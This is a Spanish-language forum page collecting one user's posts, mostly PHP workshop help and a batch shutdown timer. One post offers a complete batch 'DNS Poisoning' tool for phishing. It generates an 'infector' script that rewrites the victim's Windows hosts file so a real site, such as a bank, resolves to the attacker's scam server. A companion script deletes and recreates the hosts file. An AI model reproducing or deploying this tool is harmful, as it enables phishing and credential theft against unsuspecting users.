Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Xt3mP

#201
Cita de: Taller de PHP - Unidad I - Ejercicio IIIIII.   Hacer un script con un formulario que te pida un mensaje y un número, comprobar que ese número realmente lo sea y si lo es, mediante un bucle mostrar el mensaje esa misma cantidad de números.

En un formulario tu tienes dos casillas de texto, una para un mensaje y otra para un carácter numérico, en ésta ingresas un carácter, una vez enviado el formulario comprobarás que el carácter enviado sea numérico, en caso de no ser númerico muestre un error diciendo que no es numérico, por caso contrario (si sí es numérico) muestre el mensaje ingresado "x" cantidad de veces, ejemplo:

Caso 1
Mensaje: Hola
Numero: 2
Imprime>
Hola
Hola

Caso 2
Mensaje: Hola
Numero: T
Imprime>
Error, no es un número

Saludos.
#202
Buen código, aunque me recuerda mis inicios; tambien descubrí extensiones de dominios de google que no conocía, saludos.
#203
Back-end / Re:[Taller de PHP]
Mayo 29, 2011, 12:09:19 AM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Genial ^^, eso me pasa a mi; por cierto te recomiendo que si te crees la carpeta simplemente para estar organizado, pues no se si afecta o no que no este en "www".

Saludos

Primero que nada perdon si mi ortografia no es buena ya que estoy en Ubuntu y no le he configurado el teclado, bueno, en realidad no afecta que este en la carpeta 'www' ya que seria el path para mostrar por el navegador, lo que afectaria seria la organizacion ya se que miraria todo desordenado. Te recomendaria que crearas un path (carpeta) para cada script o proyecto que hagas; de esta manera, estara mucho mas limpio tu path de archivos.

Saludos.
#204
Back-end / Re:[Taller de PHP]
Mayo 27, 2011, 10:50:47 PM
Tienes razón, no mire la imagen y si, lo ejecuto probablemente por f12 (vista previa), debes recurrir a :

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

o

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Tambien solucionar lo de las comillas.
#205
Back-end / Re:[Taller de PHP]
Mayo 27, 2011, 10:08:38 PM
Nada de eso, a simple vista son las comillas ya que las de PDF son diferentes a ' y ", esto le sucedió a otro alumno anteriormente, si no tuvieras un servidor te marcaría exáctamente el código fuente y acá se te mira en itálica, con saltos de línea y con las comillas del PDF (osea incorrecto), simplemente cambia las comillas:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Ahí el post del mismo error, saludos.
#206
Te cito lo que te respondí acá You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Cita de: Xt3mPEn el curso de la Unidad I mencione que utilizariamos NotePad y creo que funciona en ambos sistemas operativos.

Tambien puedes instalar Wine y correr DreamWeaver (es una buena opcion), o bien, utilizar el que trae predeterminadamente GNome o utiliza Geany, hay muchas alteranativas.

Si al final de todo no te sirvió ninguna de las anteriores, UTILIZA Gedit que viene predeterminadamente en Linux.

Saludos.
#207
Esto es demasiado viejo pero no esta demás recordarlo, y respondiendo tu pregunta S0MBR4, es código JavaScript que solo afectará a tu navegador siempre y cuando no refresques la página, si pones atención hace referencia a document.designMode, pero nadie más lo vera, si no sería mucho sencillo modificar cualquier sitio, esto sería más bien como una broma.
#208
Batch - Bash / Re:[BATCH] Shutdown Countdown System
Mayo 25, 2011, 06:02:05 PM
Así es, te cito un texto del post:

Cita de: Xt3mP
P.D. Les puede servir a algunos, aunque en realidad todo se resume a abrir CMD y escribir shutdown -s -t XX en donde XX es el tiempo para que se apague, saludos.

Saludos.
#209
Batch - Bash / [BATCH] Shutdown Countdown System
Mayo 23, 2011, 11:45:11 PM
Este código en realidad es algo sucio y lo utilizo en lo personal ya que duermo con sonidos relajantes (no-homo), y como tenía el ligero problema de estarme levantando a apagar el ordenador, o bien, estar poniendo manualmente por cmd shutdown -s -t XX, se me ocurrió hacer un código BATCH demasiado sencillo:


1.- Te pide el número de minutos para que tarde el apagado (posteriormente ocuparás escribir Y para confirmar o N para cancelar).
2.- Si existe o no un apagado en progreso, lo cancelará.
3.- Te saca del programa.

Código: batch

@echo off
title  Shutdown Countdown System by Xt3mP
color 0A
:start
mode con cols=51 lines=20
cls
set up=ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
set empty=³                                                 ³
set title=³            SHUTDOWN COUNTDOWN SYSTEM            ³
set options=³     OPTIONS                                     ³
set option1=³     1.- CONFIG SHUTDOWN COUNTDOWN SYSTEM        ³
set option2=³     2.- CANCEL SHUTDOWN COUNTDOWN SYSTEM        ³
set option3=³     3.- EXIT                                    ³
set processing=³                COMPLETE THE FIELD               ³
set author=³              Xt3mP[at]h4x0rz[dot]us             ³
set line=³_________________________________________________³
set down=ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo %up%%empty%%title%%line%%empty%%options%%empty%%option1%%option2%%option3%%empty%%line%%empty%%author%%empty%%down%
set /p option=Choose an option:
if not defined option (goto:start)
for %%_ in (1 2 3) do (
if ["%option%"]==["%%_"]  (goto:%option%)
)
msg * You inserted a wrong option
goto:start

:1
mode con cols=51 lines=15
cls
echo %up%%empty%%title%%line%%empty%%processing%%line%%empty%%author%%empty%%down%
set /p minutes=How much minutes you want to start the shutdown:
if not defined minutes (goto:config)
set /p confirm=Are you sure that you want %minutes% minutes? (Y/N)
if not defined confirm (goto:config)
for %%_ in (Y N) do (
if ["%confirm%"]==["%%_"]  (goto:%confirm%)
)
msg * You inserted a wrong option
goto:1
pause >nul

:Y
mode con cols=51 lines=15
cls
echo %up%%empty%%title%%line%%empty%%processing%%line%%empty%%author%%empty%%down%
set /a finalminutes= %minutes% * 60
echo Shutdown countdown will be started when you press any key, after that this program will close...
pause > nul
shutdown -s -t %finalminutes%
goto:start

:N
goto:1

:2
mode con cols=51 lines=15
cls
echo %up%%empty%%title%%line%%empty%%processing%%line%%empty%%author%%empty%%down%
echo Shutdown countdown will be canceled when you press any key...
pause > nul
shutdown -a
goto:start

:3
mode con cols=51 lines=14
cls
echo %up%%empty%%title%%line%%empty%%processing%%line%%empty%%author%%empty%%down%
echo Press any key to close this program...
pause > nul
exit


Bug:
Si cuando te pide minutos no ingresas un número (no comprobueba si es numérico) se apagará en ese mismo instante.

P.D. Les puede servir a algunos, aunque en realidad todo se resume a abrir CMD y escribir shutdown -s -t XX en donde XX es el tiempo para que se apague, saludos.
#210
Batch - Bash / Re:[BATCH]DNS Poisoning v3.0
Mayo 23, 2011, 10:19:30 PM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Este bat esta bastante mejor que el otro pero bueno como vos lo dijiste le faltan los bucles para el diseño asi el codigo seria mas corto pero igual eso vos ya lo sabes ^^

Sí, la verdad que cuando inicie en esto fueron mis primeros códigos batch y no tenía mucha idea sobre los bucles y tal, tambien sobre batch inyection, gracias a xassiz aprendí un par de cositas (hace unos 2 años) respecto a batch.
#211
Batch - Bash / [BATCH] DNS Poisoning v3.0
Mayo 23, 2011, 04:36:47 PM
Esta vez es otra herramienta batch que te generará otros códigos bat para infectar a la víctima y hacer una redirección de DNS de la página original a la página del atacante (Phishing).

El código esta más depurado y más simple, pero aún no utilize bucles para el diseño:

Código: text
@echo off
color 0A
Title DNS P01s0n1ng v1.0 BETA by X73MP
:menu
cls
echo 

_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
echo [+]                     /"\         l  __ \                    [+]
echo [+]                     l l_ __  ___l l__) l                   [+]
echo [+]                  / _` l '_ \/ __l  ___/                    [+]
echo [+]              l (_l l l l \__ \ l                        [+]
echo [+]               \__,_l_l l_l___/_l                        [+]
echo [+]          .#~1- Buscar IP del host donde aloja el Scam.      [+]
echo [+]          .#~2- Comenzar a crear el infectador.              [+]
echo [+]          .#~3- Salir.                                       [+]
echo

[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
set/p var=
if not defined var (goto:menu)
If ["%var%"]==["1"] goto sacarip
If ["%var%"]==["2"] goto crearinfectador
If ["%var%"]==["3"] goto salir
:sacarip
cls
echo 

_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
echo [+]                     /"\         l  __ \                    [+]
echo [+]                     l l_ __  ___l l__) l                   [+]
echo [+]                  / _` l '_ \/ __l  ___/                    [+]
echo [+]              l (_l l l l \__ \ l                        [+]
echo [+]               \__,_l_l l_l___/_l                        [+]
echo [+]           .#~1- Escribe la url de tu p gina sin www.        [+]
echo

[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
set /p pagina=
if not defined pagina (goto:sacarip:)
ping %pagina%
ping %pagina% >> ip_de_%pagina%.txt
echo.
echo Presiona una tecla desp£es de haber apuntado la IP.
pause >nul
:crearinfectador
cls
echo 

_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
echo [+]                     /"\         l  __ \                    [+]
echo [+]                     l l_ __  ___l l__) l                   [+]
echo [+]                  / _` l '_ \/ __l  ___/                    [+]
echo [+]              l (_l l l l \__ \ l                        [+]
echo [+]               \__,_l_l l_l___/_l                        [+]
echo [+]           .#~1- Escribir el nombre del infectador.          [+]
echo

[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
set /P nombre=
if not defined nombre (goto:crearinfectador)
cls
echo 

_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
echo [+]                     /"\         l  __ \                    [+]
echo [+]                     l l_ __  ___l l__) l                   [+]
echo [+]                  / _` l '_ \/ __l  ___/                    [+]
echo [+]              l (_l l l l \__ \ l                        [+]
echo [+]               \__,_l_l l_l___/_l                        [+]
echo

[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
echo .#~1- ¨Est s seguro de ponerle %nombre%?.         
echo [+]            .#~1- S¡.                                        [+]
echo [+]            .#~2- N¢.                                        [+]             
set /P r=
if not defined r (goto:crearinfectador)
cls
if %r%==1 (goto crearinfectador2)
if %r%==2 (goto crearinfectador)
:crearinfectador2
cls
echo 

_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
echo [+]                     /"\         l  __ \                    [+]
echo [+]                     l l_ __  ___l l__) l                   [+]
echo [+]                  / _` l '_ \/ __l  ___/                    [+]
echo [+]              l (_l l l l \__ \ l                        [+]
echo [+]               \__,_l_l l_l___/_l                        [+]
echo [+]         .#~1- Escribe la IP de tu scam sin http://www.      [+]
echo [+]         .#~2- Ejemplo: 127.0.0.1                             [+]
echo

[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
echo.
set /P ip=
if not defined ip (goto:crearinfectador2)
goto crearinfectador3
:crearinfectador3
cls
echo 

_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
echo [+]                     /"\         l  __ \                    [+]
echo [+]                     l l_ __  ___l l__) l                   [+]
echo [+]                  / _` l '_ \/ __l  ___/                    [+]
echo [+]              l (_l l l l \__ \ l                        [+]
echo [+]               \__,_l_l l_l___/_l                        [+]
echo [+].#~1- Escribe la URL de la p gina a infectar win http://www..[+]
echo [+].#~2- Ejemplo: xtemp.org                                     [+]
echo

[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
echo.
set /P pag=
if not defined pag (goto:crearinfectador3)
goto crearinfectador4
:crearinfectador4
cls
echo 

_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
echo [+]                     /"\         l  __ \                    [+]
echo [+]                     l l_ __  ___l l__) l                   [+]
echo [+]                  / _` l '_ \/ __l  ___/                    [+]
echo [+]              l (_l l l l \__ \ l                        [+]
echo [+]               \__,_l_l l_l___/_l                        [+]
echo

[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
echo .#~1- ¨Est s seguro de estos datos %ip% / %pag%?.         
echo [+]            .#~1- S¡.                                        [+]
echo [+]            .#~2- N¢.                                        [+]
set /P fin=
if not defined fin (goto:crearinfectador4)
if %fin%==1 (goto finalizar)
if %fin%==2 (goto crearinfectador4)
cls
:finalizar
cls
echo 

_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
echo [+]                     /"\         l  __ \                    [+]
echo [+]                     l l_ __  ___l l__) l                   [+]
echo [+]                  / _` l '_ \/ __l  ___/                    [+]
echo [+]              l (_l l l l \__ \ l                        [+]
echo [+]               \__,_l_l l_l___/_l                        [+]
echo [+]            .#~1- Finalizando creaci¢n del Batch.            [+]
echo

[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
echo ^@echo off>>%nombre%.bat
echo cd %windir%\System32\drivers\etc>>%nombre%.bat
echo echo %ip% %pag%^>^>hosts>>%nombre%.bat
echo echo %ip% www.%pag%^>^>hosts>>%nombre%.bat
echo echo %ip% http://%pag%^>^>hosts>>%nombre%.bat
echo echo %ip% http://www.%pag%^>^>hosts>>%nombre%.bat
echo Creaci¢n del Batch que infectara perfectamente en:
echo %windir%\System32\drivers\etc\hosts
echo.
echo Gracias por usar este progama.
echo [email protected]
pause>nul
:salir
exit
exit


Y si se infectaron con este código se desinfectarán:

Código: text
@echo off
color 0A
Title Anti-DNS P01s0n1ng v1.0 BETA by X73MP
:menu
cls
echo  _________________________________________________________________
echo [+]____________Anti-DNS P01s0n1ng v1.0 BETA by X73MP____________[+]
echo [+]    /\           l l         l  __ \               [+]
echo [+]            /  \ ______ __l l_ __  ___l l__) l              [+]
echo [+]           / /\ \______/ _` l '_ \/ __l  ___/               [+]
echo [+]       / ____ \    l (_l l l l \__ \ l                   [+]
echo [+]      /_/    \_\    \__,_l_l l_l___/_l                   [+]
echo [+]            ¨Quieres desinfectar el archivo HOST?            [+]
echo [+]             1- S¡                                           [+]
echo [+]             2- N¢                                           [+]
echo [+]_____________________________________________________________[+]
echo [+]____________Anti-DNS P01s0n1ng v1.0 BETA by X73MP____________[+]
set/p var=
if not defined var (goto:menu)
If ["%var%"]==["1"] goto desinfectar
If ["%var%"]==["2"] goto salir
:desinfectar
cls
echo  _________________________________________________________________
echo [+]____________Anti-DNS P01s0n1ng v1.0 BETA by X73MP____________[+]
echo [+]    /\           l l         l  __ \               [+]
echo [+]            /  \ ______ __l l_ __  ___l l__) l              [+]
echo [+]           / /\ \______/ _` l '_ \/ __l  ___/               [+]
echo [+]       / ____ \    l (_l l l l \__ \ l                   [+]
echo [+]      /_/    \_\    \__,_l_l l_l___/_l                   [+]
echo [+]_____________________________________________________________[+]
echo [+]____________Anti-DNS P01s0n1ng v1.0 BETA by X73MP____________[+]
echo.
echo.
echo ~#.Buscando archivo Host 10%
echo ~#.Eliminando archivo HOST 40%
del  %windir%\System32\drivers\etc\hosts
echo ~#.Creando nuevo archivo Host 90%
cd  %windir%\System32\drivers\etc\
echo # Anti-DNS P01s0n1ng v1.0 BETA by X73MP >> hosts
echo # [email protected] >> hosts
echo 127.0.0.1 localhost >> hosts
REM 72.9.233.146 www.banamex.com.mx >> hosts
echo ~#.Terminando aplicaci¢n 100%
echo ~#. Proceso terminado
pause>nul
:salir
cls
echo  _________________________________________________________________
echo [+]____________Anti-DNS P01s0n1ng v1.0 BETA by X73MP____________[+]
echo [+]    /\           l l         l  __ \               [+]
echo [+]            /  \ ______ __l l_ __  ___l l__) l              [+]
echo [+]           / /\ \______/ _` l '_ \/ __l  ___/               [+]
echo [+]       / ____ \    l (_l l l l \__ \ l                   [+]
echo [+]      /_/    \_\    \__,_l_l l_l___/_l                   [+]
echo [+]_____________________________________________________________[+]
echo [+]____________Anti-DNS P01s0n1ng v1.0 BETA by X73MP____________[+]
echo.
echo.
echo Hasta la pr¢xima.
echo [email protected]
pause
exit


P.D. El código es viejo, saludos.
#212
Perfecto, y sí, las comillas del PDF/WORD no son las correctas, para la próxima unidad intentare solucionar eso, saludos.
#213
Back-end / Re:Alternativas del comando IF
Mayo 21, 2011, 01:17:32 AM
Muy bien pero los títulos no son acorde al script, es decir:
.
Retorno valor true se tomaría como si regresaría un valor true la condicional, debemos específicar que al tu decir Retorno valor true te refieres a que compruebas que la variable o el parámetro que le pasemos es verdadero.

Retorno equal lo mismo que lo anterior, simplemente que es un operador comparativo en donde comparamos el valor (valgame la redundancia), en caso de que el valor sea el mismo en ambas variables o parámetros regresará true, por caso contrario, false.

Complementando el if:

Código: php

<?php
if($condicion)
//condicion
else
//condicion
?>


Son operadores ternarios, se utilizan como abreviación o para reducir la sintaxis, es decir, simplificar el código (a veces es un poco difícil utilizarlos si no has trabajado con ellos).

Saludos.
#214
Primero que nada te modifique el post, lo puse con tags de code para que resaltara y ya vi el error rápidamente; sucede que tu copiaste y pegaste las comillas del pdf a un archivo y las comillas del pdf estan incorrectas, tu tienes ' y ' y debería ser ' y ', y como la condicional NUNCA se cumple puesto que $numero no tiene ningún valor (al no tener bien las comillas) siempre te dará false, acá el código:

Código: php

<?php
$numero = $_POST['numero'];
if(is_numeric($numero))
{
echo 'Numérica,';
if ($numero > 10)
{
echo ', y además es mayor a 10';
}
}else{
echo 'No es numérica';
}
?>


P.D.: Recuerda utilizar tabulación para mejor estética y que el código sea más legíble (en el código que te arregle lo hize).
P.D.2: Me alegro que estes prácticando, saludos.
#215
Si tienes un servidor con PHP que soporte la función mail() (Puedes hacer un phpinfo() para revisar) puedes utilizar el siguiente código (en donde suponemos que son 3 casillas):

Código: php

<?php
$name = $_POST['nombre'];
$mail = $_POST['mail'];
$msg = $_POST['mensaje'];
$carta = "Nombre: ".$name."<br>Correo: ".$mail."<br>Mensaje: ".$msg;
$micorreo = "[email protected]";
$asunto = "Datos del formulario de contacto";
$headers = "MINE-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
$headers .= "From: NombreQueAparecera. <[email protected]>\r\n";
$headers .= "Reply-To:[email protected]\r\n";
mail($micorreo,$asunto,$carta,$headers);
echo "<meta http-equiv='Refresh' content='1;url=enviado.html'>";
?>


Al menos es lo que te entendí, saludos.
#216
Dudas y pedidos generales / Re:Duda taller 1 PHP
Mayo 19, 2011, 11:28:41 PM
Te cito lo siguiente del link de Presentación: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

¿Qué servidor utilizarémos?

Para windows:
Por comodidad usarémos AppServ el cual lo pueden descargar del siguiente enláce:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Les recomiendo la versión 2.5.10, una vez descargado lo instalarán como se explica en el siguiente tutorial:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Para otras plataformas:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Saludos.
#217
Tienes toda la razón, fue mi error ya que revise el post en la noche y no analizé tu código (no mire la función strlen()) por eso creí que estaba incorrecto, pero se puede hacer perfectamente con tu código, saludos.
#218
¿Deftools brother  :o? ... buen código y como dice ~YoYa~, no puedes utilizar $test[$i] ya que ocuparías crear un array, a lo mucho podrías hacer un strlen() y posteriormente asignarle el número de carácteres como ítems de un array para luego procesarlos pero sería más largo.
#219
¿Es seguro?, ¿Qué pasa si en vez de meter etiquetas HTML y suponiendo que tienes las magic_quotes() OFF pongo ' o "? tu datos.php pasaría a verse porque daría un error de sintáxis, por lo demás esta muy bueno, te recomiendo que cuando utilizes solo string utilizes comillas simples para evitar poner la diagonal invertida:

Tu línea:
Código: php

<?php
fputs($fp,"\$email=\"".strip_tags($_POST['email'])."\";\n");
?>


Mi línea:
Código: php

<?php
fputs($fp,'$email="'.strip_tags($_POST['email']).'";'."\n");
?>


Solo uso comillas dobles en el \n ya que las comillas simples no lo procesan, saludos.

P.D. Buen método.
#220
Como dice leinad, cuando pasas por GET o POST siempre es string, más sin embargo cuando es procesado se puede utilizar la función is_numeric() (la dije en la unidad I) para comprobar que realmente sea un número, ejemplo:

Código: php

<html>
<head> <title> EJERCICIOS </title> </head>
<form action="" method="POST">
Ingrese un numero: <input type="text" name="numero"><br>
<input type="submit" name="enviar" value="Enviar"> </form>
<?php
if(isset($_POST['enviar'])) {
$numero=$_POST['numero'];
echo 'El tipo obtenido por gettype por un POST o GET siempre es: '.gettype($numero).'<br />';
if(is_numeric($numero)){
echo 'Es numerico';
}else{
echo 'No es numerico';
}

}
?>
</html>


Esto te daría de resultado (si es que le pasamos un número):
El tipo obtenido por gettype por un POST o GET siempre es: string
Es numerico

Fue un error mío no aclarar que mediante POST o GET todo valor siempre se pasa como string pero a la hora de procesar ya puedes hacerlo como gustes, saludos.